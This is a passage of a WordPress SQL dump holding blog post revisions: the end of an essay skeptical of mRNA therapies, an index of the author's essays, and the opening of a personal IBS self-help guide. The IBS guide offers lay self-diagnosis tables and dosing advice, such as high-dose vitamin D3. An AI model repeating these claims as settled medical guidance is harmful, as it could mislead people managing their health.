every 3 weeks. Very few conditions lend themselves to those sorts of size constraints.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another problem with mRNA is more fundamental to mRNA itself. mRNA can only be used to make the body make proteins that, well, the body can make. This might seem obvious, but it’s a pretty key part of where Moderna’s “<a href=\"https://www.modernatx.com/mrna-technology/mrna-platform-enabling-drug-discovery-development\">software of life</a>” analogy falls flat. It’s a limited software with limited toolkits. You’re not going to use mRNA in humans to make, say, an antibiotic that’s naturally produced in fungi.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These two problems combined explain why mRNA therapies have had so many problems. mRNA therapies face very difficult design constraints: they have to be tiny, and they have to produce proteins that the body can make. The difficulty of these constraints is probably why Moderna, at least, has switched over to vaccines, calling it part of their “core modality”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, vaccines are also difficult, but they’re easier for mRNA than other therapies in a few ways.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, provoking an immune response in a normal therapy is a problem. Provoking an immune response in a vaccine, as long as it’s not overwhelming, is part of the solution. Second, as long as the body can produce effective antibodies against the pathogen when naturally infected, some vaccine should work to provoke those antibodies unnaturally. Finally, vaccines are normally only given once (or at least spaced out), so it’s a lot easier to give a small amount rarely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With these elements combined, does that mean mRNA vaccines are destined for success? Should all other vaccine companies give up or change tactics completely?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eh...not really. mRNA vaccines can be very effective, but they’re not guaranteed to be. To see why, let’s take a look at the big kahuna, the COVID mRNA vaccines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s easy to think that the COVID mRNA vaccines are more successful than other vaccines solely because of their mechanism. That’s not quite true. What the vaccines target is a huge part of their success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s go over how vaccines work really quick, in a very general sense. Vaccines provoke the body to make antibodies against the target. A successful vaccine needs to both successfully provoke antibodies and pick the right target.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you look at the mRNA COVID vaccines, they were successful in both of these endeavors. Both mRNA COVID vaccines target <a href=\"https://www.nature.com/articles/s41577-020-00480-0\">a slightly modified version of the spike protein</a>. It’s slightly modified because that makes the body produce higher levels of antibodies. Meanwhile, the spike protein part is important because that’s <a href=\"https://www.news-medical.net/news/20201221/SARS-CoV-2-spike-protein-remains-remarkably-conserved-among-37-variants-from-Hong-Kong.aspx\">a highly conserved part of the virus</a>, making it difficult for the virus to mutate and avoid being targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s not a coincidence that the slightly modified spike protein is also the specific target of <a href=\"https://www.nature.com/articles/s41591-020-1070-6?fbclid=IwAR3oJTzGOfU-uEosnjUK72NF1Y1_D7c3mKXpVLkDbMnWeOIqgCllA1gfsyI#rightslink\">Johnson and Johnson’s vaccine</a> and of <a href=\"https://www.biorxiv.org/content/10.1101/2020.06.29.178509v1\">Novavax’s vaccine</a>, neither of which are mRNA based and both of which have shown high efficacy in humans (66% and 89% respectively). The COVID mRNA vaccines are more efficacious, but it’s clear that the target matters a lot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This didn’t have to be the case. It is very possible for a vaccine, even an mRNA vaccine, to provoke low levels of antibodies. This is easier to check in animal trials, though. What’s more difficult to check in animal trials is whether you’re targeting the right thing. Antibodies are targeted incredibly specifically towards very specific parts (antigens) of a pathogen, not the pathogen as a whole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To see how complicated that is, let’s go back to the Yale malaria vaccine. When these scientists made their vaccine, they had to choose which of <a href=\"https://scihubtw.tw/10.1016/j.pt.2016.07.003\">14 different functions</a> they wanted to target. Each of those had numerous antigens associated with it. If you target the wrong function, you can end up producing antibodies that do not prevent infection. For example, in malaria, if you target the replication of merozoites (part of the life cycle of the parasite), you will not <a href=\"https://scihubtw.tw/10.1016/j.pt.2016.07.003\">effectively prevent infection in older children</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even if you do successfully target the right antigen, there’s no guarantee of success. This is because vaccines, again, work only as well as the body’s antibodies do. Human beings cannot develop effective enough antibodies against malaria to prevent future infection. The best we can hope for is <a href=\"https://www.nature.com/articles/ni.f.205\">partial immunity after repeated infections</a>, meaning that we no longer develop severe sickness on contracting malaria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not unique to malaria. The same problem arises with human cytomegalovirus, which is Moderna’s furthest advanced vaccine right now.&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3539762/\">Our immune system cannot clear cytomegalovirus</a>, it can only make us asymptomatic. Moreover, <a href=\"https://themedicinemaker.com/discovery-development/the-bumpy-road-to-a-cytomegalovirus-vaccine\">natural immunity doesn’t prevent placental transmission of the virus</a>, which is problematic, as that’s the chief problem that vaccines are attempting to solve. Cytomegalovirus is rarely a problem in adults, but can be serious in babies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, there are serious difficulties in developing an effective vaccine that are not solved by mRNA. Furthermore, mRNA vaccines still have to be really small and administered with a fair amount of space in between them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not to say that mRNA isn’t a cool technology, because it is. Vaccines are infamously difficult to develop and manufacture, and mRNA makes that process a lot easier. However, it’s not the only technology that makes development and manufacturing of vaccines much easier. For an obvious example, <a href=\"https://en.wikipedia.org/wiki/DNA_vaccine#:~:text=A%20DNA%20vaccine%20is%20a,cells%20of%20an%20immunized%20species.\">DNA vaccines</a> have proven to have many of the advantages of mRNA vaccines.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, we still don’t know enough about the immune system to throw less rationally designed vaccines, like inactivated virus vaccines, out the window. Not all conditions are as well studied or understood as COVID.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>mRNA’s cool, but I think it’s time to step back from the hype.</p>\n<!-- /wp:paragraph -->','Are mRNA therapies the future of pharmaceuticals?','','inherit','closed','closed','','54-revision-v1','','','2021-04-09 16:57:07','2021-04-09 16:57:07','',54,'https://trevorklee.com/?p=55',0,'revision','',0),
(57,1,'2021-04-09 16:58:18','2021-04-09 16:58:18','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-04-09 16:58:18','2021-04-09 16:58:18','',22,'https://trevorklee.com/?p=57',0,'revision','',0),
(58,1,'2021-04-16 17:30:30','2021-04-16 17:30:30','<!-- wp:simpletoc/toc {\"max_level\":3} /-->\n\n<!-- wp:paragraph -->\n<p><em>Note: I\'ve expanded this blog post into <a href=\"https://www.amazon.com/gp/product/B095N84C2K\">a full-length book</a>! Check it out!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I went through my own bout with IBS some years ago. It was really frustrating. It seemed to come out of nowhere. I spent a lot of money on a test for SIBO to see if that was the problem, but didn’t see any results. Then, it briefly seemed like I was cured, only to randomly become sensitive to gluten for a year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dealing with IBS was especially frustrating because of the unhelpful advice from doctors, family, and friends. Doctors would tell me it was all in my head. My family thought I had Crohn\'s. My friends just would get weirded out by the things I refused to eat, and try to nag me into trying just one muffin/beer/hot wing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, my IBS disappeared as suddenly as it came. Now, I’m mostly ok. But I still remember how frustrating and life-impairing IBS was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This article is what I wish I had back when I first got IBS. It’s not just another blog spam on the front page of Google, with the 5 things that literally every other blog spam tells you about IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a comprehensive guide to making sure you have IBS and not another disease, and then treating IBS. And I mean comprehensive. If I missed anything, tell me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the article, I list all my sources (and there are a lot!) and what I took from them. I also include my evaluation of the treatment options, as I know that can be an especially challenging thing for IBS patients to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re pressed for time, just scroll down and look at the tables. If you’re not, feel free to read everything.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>How can you be sure you have IBS?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>IBS is a diagnosis of exclusion. If you don’t have other conditions that can also cause stomach problems, then you probably have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most doctors skip straight to diagnosing IBS without thoroughly checking whether you might have these other conditions. That’s unfortunate, because, unlike IBS, some of these other conditions actually have cures. If you’re diagnosed correctly, your IBS could be solved a lot quicker.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, some of these conditions are much more serious than IBS. So, you definitely want to make sure you don’t have these other conditions, because, if you do, you’ll need to start treating them ASAP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a pretty exhaustive list of conditions that mimic IBS. Each row is a separate condition. Use it to potentially diagnose yourself. You’ll need laboratory tests to confirm whether you’re correct, but at least you’ll be able to advocate for yourself at the doctor’s office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve <em>italicized</em> the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn\'s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table {\"className\":\"is-style-regular\"} -->\n<figure class=\"wp-block-table is-style-regular\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR <em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR <em>unexplained weight loss</em> OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em> OR <em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR <em>fever</em> OR <em>unexplained weight loss</em> OR growth retardation</td><td></td><td>Crohn\'s disease</td></tr><tr><td>Joint pain OR <em>cold intolerance</em> OR constipation OR depression OR heavy menstrual flow OR unexplained weight gain or <em>fatigue </em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec) </em>OR <em>opioids</em> OR <em>gastric bypass</em> OR <em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR <em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65 </em>OR <em>African American</em> OR <em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool <em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or <em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR <em>feeling of fullness or burning in your stomach</em> OR blood in your vomit or stool.<br></td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR <em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td><td></td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung\'s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain<br></td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em> OR diarrhea OR <em>shortness of breath</em> OR <em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Steps to treat IBS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve made it through the whole list above and none of those apply to you, you probably just have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s more likely you have IBS if you have a history of anxiety or depression, are female, or especially if you’ve <em>recently had a stomach bug</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now you’re looking for treatment. Good on you! My recommendations are to start with a food restriction diet. Take away everything but chicken and rice, then slowly add the rest back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have diarrhea, you might try a low FODMAP diet, eating small, regular portions, and/or limiting gassy foods like beans, cabbages, and onions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have constipation, you might try psyllium or linseed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want to try medication, I’d recommend very high doses of cholecalciferol (Vitamin D3), like 50k IU every 2 weeks. You might also try peppermint oil for short term diarrhea relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s my short list. For my long list, including evaluation and limitations of treatments, read on!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Treatment Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Potential IBS treatment</strong></td><td><strong>Evaluation</strong></td><td><strong>Limitations</strong></td></tr><tr><td>Low FODMAP</td><td>Low FODMAP diets seem to work. It doesn’t necessarily work better than just eating normal portions at regular times and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</td><td>The studies are only 1-3 months. It’s not clear what happens if you resume a normal diet after that time span.<br>The studies aren’t very well designed.</td></tr><tr><td>Gluten free diet (for non celiac)</td><td>It can work, but there’s not a big effect.</td><td>It only works for people who are sensitive to gluten (it’s not for anyone with IBS).</td></tr><tr><td>Fiber</td><td>Bran and insoluble fiber are probably not effective in any form of IBS.<br>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective in all forms of IBS. Linseed seems like it’s probably better than psyllium.&nbsp;</td><td>All studies were done over a max of 1-3 months.<br>The studies aren’t very well designed.</td></tr><tr><td>Laxatives</td><td>Laxatives work.</td><td>They may not prevent constipation, especially in older patients</td></tr><tr><td>Anti spasmodics (dicyclomine, peppermint oil, pinaverium, trimebutine)</td><td>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</td><td></td></tr><tr><td>Discontinuation of proton pump inhibitors</td><td>Not really a cure for IBS, but PPI overuse does lead to SIBO.</td><td></td></tr><tr><td>Antidepressants</td><td>Antidepressants probably work if your IBS is caused by depression or anxiety. It’s unclear whether they work if you don’t.</td><td>Antidepressants aren’t more effective in IBS than therapy.<br>It’s unclear if the type of antidepressant matters, but it most likely varies from person to person.</td></tr><tr><td>Rifaximin</td><td>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</td><td></td></tr><tr><td>Vitamin D3</td><td>Very high doses of vitamin D every 2 weeks (50,000 IU) probably improve IBS symptoms.</td><td>Taking really high doses of vitamin D can cause side effects. If you get side effects, stop taking vitamin D.</td></tr><tr><td>Soy isoflavones</td><td>Soy isoflavones may improve IBS in women.&nbsp;</td><td>There aren’t really good studies in men. There are no good long term studies either.</td></tr><tr><td>Acupuncture</td><td>Real acupuncture works just as well as fake acupuncture (having someone pretend to stick needles in you). Both work ok.</td><td></td></tr><tr><td>Probiotics</td><td>Probiotics may have a small effect.</td><td>The type of bacteria in the probiotic and the formulation matters a lot, as a lot of probiotics are useless or destroyed in the stomach.</td></tr><tr><td>Mesalazine</td><td>Mesalazine is probably not effective in IBS.</td><td></td></tr><tr><td>Loperamide</td><td>Loperamide is helpful for diarrhea and diarrhea-related symptoms.</td><td>There aren\'t great long-term studies. It may make pain at night worse.</td></tr><tr><td>Fecal microbiota transplant</td><td>Sometimes really helpful, sometimes not helpful at all.</td><td>Nasojejunal tube and colonoscopy seem like they work better than capsule for administration.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Evidence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I evaluated the evidence</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Evaluating evidence is hard in general, and evaluating evidence in IBS is no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll list out those problems, then list how I tried to solve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there are specific IBS issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS has a variety of symptoms associated with it, and a treatment that fixes diarrhea will not necessarily fix constipation. This makes treatments difficult to measure in effectiveness. Some scientists try to make up for this by asking patients questions like, 